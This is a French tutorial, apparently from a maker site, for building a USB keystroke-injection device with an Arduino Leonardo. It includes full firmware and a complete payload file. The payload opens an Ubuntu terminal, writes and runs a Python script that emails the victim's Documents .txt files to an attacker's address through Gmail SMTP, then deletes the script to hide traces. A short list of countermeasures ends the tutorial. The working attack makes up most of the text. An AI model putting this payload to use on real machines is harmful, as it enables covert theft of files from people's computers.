Fabrication industrielle
Internet des objets industriel | Matériaux industriels | Entretien et réparation d'équipement | Programmation industrielle |
home  MfgRobots >> Fabrication industrielle >  >> Manufacturing Technology >> Processus de fabrication

Prévention des attaques USB HID : Démonstration d'exploit clavier avec Arduino Leonardo

Composants et fournitures

À propos du projet

Ce projet utilise un Arduino Leonardo pour simuler une attaque USB via HID (Human Interface Device). Ce tutoriel a pour but éducatif de montrer les dangers réels et comment s'en protéger, non d'aider les pirates. L'appareil est une preuve de concept détaillée.

Nous allons apprendre :

Étape 1 : Matériel

Étape 2 : Construction de l'appareil

Principe de fonctionnement

L'Arduino Leonardo peut se comporter comme un périphérique HID (souris/clavier). Nous exploitons cette fonctionnalité pour ouvrir un terminal (sous Ubuntu Linux) et exécuter un script qui accède au dossier /Documents de l'utilisateur, copie les fichiers .txt et les envoie par e-mail. C'est un dispositif de démonstration, pas de soudure nécessaire.

Instructions de montage

  1. Branchez le câble micro USB sur l'Arduino.
  2. Connectez l'interrupteur à l'Arduino (GND, VCC, sortie signal sur broche D8).
  3. Connectez le lecteur de carte SD à l'en-tête ICSP de l'Arduino Leonardo (celui-ci n'est pas relié aux broches numériques). Connectez la broche SS à la broche numérique 10. Voir ce guide pour le câblage ICSP.
  4. Récupérez le code Arduino (dépôt GitHub : github.com/danionescu0/arduino, dossier projects/keyboard_exploit).
  5. Téléversez le code (9600 bauds, port série, carte Arduino Leonardo).
  6. Formatez la carte SD en FAT16 ou FAT32.
  7. Copiez le fichier hack.txt sur la carte (contenu ci-dessous).
  8. Modifiez les lignes suivantes avec vos adresses e-mail :
smtp_user = 'votre_adresse_gmail'
smtp_pass = 'votre_mot_de_passe_gmail'
to_address = 'adresse_destinataire'
  1. Retirez la carte et insérez-la dans le lecteur de l'Arduino.

Étape 3 : Fonctionnement détaillé

Comment l'attaque opère

  1. Lorsque le bouton est pressé, le Leonardo lit la carte SD via le lecteur. Un fichier spécial hack.txt contient des séquences de touches et combinaisons.
  2. Le fichier peut contenir du texte brut (envoyé tel quel) ou des commandes spéciales : Sleep:: et Command::.
  3. Exemples : Sleep::200 = pause 200 ms ; Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t = Ctrl+Alt+T pressés puis relâchés.
  4. Le Leonardo lit ligne par ligne, interprète les commandes et émule les frappes clavier. Le fichier hack.txt exécute (pour Ubuntu) :

Le tout en quelques secondes, sans traces.

Améliorations et dépannage

Limitations

  1. Pas de retour du périphérique simulé → nécessité de délais arbitraires.
  2. Problèmes de permissions (accès port USB, installation).
  3. Vitesse de frappe limitée sur Leonardo.
  4. Fonctionne uniquement sur l'OS ciblé (ici Ubuntu Linux).

Étape 4 : Contre-mesures

  1. Désactiver les ports USB (Windows : tutoriel).
  2. Mettre en liste blanche les périphériques USB (Windows : guide).
  3. Verrouiller sa session en cas d'absence.
  4. Ne pas travailler en root (exiger mot de passe pour toute installation).
  5. Maintenir son système à jour (mises à jour automatiques).

Code

keyboard_exploit.ino (Arduino)

#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"
String filenameOnCard = "hack.txt";
String sleepCommandStartingPoint = "Sleep::";
String commandStartingPoint = "Command::";
int delayBetweenCommands = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int previousButtonState = HIGH;

void setup() {
  pinMode(buttonPin, INPUT);
  Serial.begin(9600);
  Keyboard.begin();
  if (!SD.begin(chipSelect)) {
    Serial.println("Card failed, or not present!");
    return;
  }
}

void loop() {
  int buttonState = digitalRead(buttonPin);
  if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
    sdFileToKeyboard();
    Serial.println("Uploaded!");
    delay(500);
  }
  previousButtonState = buttonState;
}

void sdFileToKeyboard() {
  File dataFile = SD.open(filenameOnCard);
  if (!dataFile) {
    Serial.println("The specified filename is not present on SD card, check filenameOnCard !");
    return;
  }
  String line;
  while (dataFile.available()) {
    line = dataFile.readStringUntil('\n');
    Serial.println(line);
    sendToKeyboard(line);
  }
  dataFile.close();
}

void sendToKeyboard(String line) {
  String workingLine = line;
  if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
    sleepFor(line);
    return;
  }
  if (workingLine.indexOf(commandStartingPoint) == -1) {
    Serial.print("Text:"); Serial.println(line);
    Keyboard.println(line);
    pressEnter();
    return;
  }
  Serial.println("Command:");
  int charPosition = commandStartingPoint.length();
  int lineLength = line.length();
  workingLine += ",";
  while (workingLine != "") {
    workingLine = workingLine.substring(charPosition);
    Serial.print("WorkingLine:"); Serial.println(workingLine);
    int specialCommandDelimiterPosition = workingLine.indexOf(",");
    String command = workingLine.substring(0, specialCommandDelimiterPosition);
    charPosition = specialCommandDelimiterPosition + 1;
    if (command != "") {
      Serial.print("Command found:"); Serial.println(command);
      Keyboard.press(getCommandCode(command));
      delay(delayBetweenCommands);
    }
  }
  Keyboard.releaseAll();
  delay(delayBetweenCommands);
}

void pressEnter() {
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
}

void sleepFor(String line) {
  int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
  Serial.print("Sleeping for:"); Serial.println(sleepAmount);
  delay(sleepAmount);
}

char getCommandCode(String text) {
  char textCharacters[2];
  text.toCharArray(textCharacters, 2);
  char code = textCharacters[0];
  code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code;
  code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code;
  code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code;
  code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code;
  code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code;
  code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code;
  code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code;
  code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code;
  code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code;
  code = (text == "KEY_TAB") ? KEY_TAB : code;
  code = (text == "KEY_RETURN") ? KEY_RETURN : code;
  code = (text == "KEY_ESC") ? KEY_ESC : code;
  code = (text == "KEY_INSERT") ? KEY_INSERT : code;
  code = (text == "KEY_DELETE") ? KEY_DELETE : code;
  code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code;
  code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code;
  code = (text == "KEY_HOME") ? KEY_HOME : code;
  code = (text == "KEY_END") ? KEY_END : code;
  code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code;
  code = (text == "KEY_F1") ? KEY_F1 : code;
  code = (text == "KEY_F2") ? KEY_F2 : code;
  code = (text == "KEY_F3") ? KEY_F3 : code;
  code = (text == "KEY_F4") ? KEY_F4 : code;
  code = (text == "KEY_F5") ? KEY_F5 : code;
  code = (text == "KEY_F6") ? KEY_F6 : code;
  code = (text == "KEY_F7") ? KEY_F7 : code;
  code = (text == "KEY_F8") ? KEY_F8 : code;
  code = (text == "KEY_F9") ? KEY_F9 : code;
  code = (text == "KEY_F10") ? KEY_F10 : code;
  code = (text == "KEY_F11") ? KEY_F1 : code;
  code = (text == "KEY_F12") ? KEY_F2 : code;
  return code;
}

Contenu du fichier hack.txt (sur carte SD)

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
Sleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib
import glob, os
from os.path import expanduser
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoders
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password'
to_address = 'receiver_address'
scan_documents_location = 'Documents'
subject = body = 'Files from hacked computer'
header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)
def sendMail(to, subject, text, files=[]):
  msg = MIMEMultipart()
  msg['From'] = smtp_user
  msg['To'] = COMMASPACE.join(to)
  msg['Date'] = formatdate(localtime=True)
  msg['Subject'] = subject
  msg.attach(MIMEText(text))
  for file in files:
    part = MIMEBase('application', "octet-stream")
    part.set_payload(open(file,"rb").read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
    msg.attach(part)
  server = smtplib.SMTP('smtp.gmail.com:587')
  server.starttls()
  server.login(smtp_user, smtp_pass)
  server.sendmail(smtp_user, to, msg.as_string())
  server.quit()
sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4

Schéma de câblage

Schéma Fritzing (image non incluse). Dépôt Arduino : github.com/danionescu0/arduino (dossier projects/keyboard_exploit).

Processus de fabrication

  1. Créer des animations et jeux sur LCD avec Arduino UNO
  2. Construire un Voltmètre Intelligent avec Arduino et Smartphone – Projet DIY Facile
  3. Enregistreur de Température et Humidité Arduino avec DHT11 et Shield Ethernet
  4. Transformer votre Clavier MIDI en Tuteur Piano Intelligent avec Arduino, LED et MuseScore
  5. Contrôle Arduino UNO depuis Python 3 – Communication Série et Démo LED
  6. Automates Cellulaires Temps Réel sur Arduino avec Écran OLED 128x64
  7. Construire une Radio FM Compacte avec Arduino Nano et RDA5807M
  8. Système de pointage RFID temps réel avec Arduino et Google Sheets
  9. Clavier prototype 64 touches Arduino avec registres à décalage - Matrice clavier DIY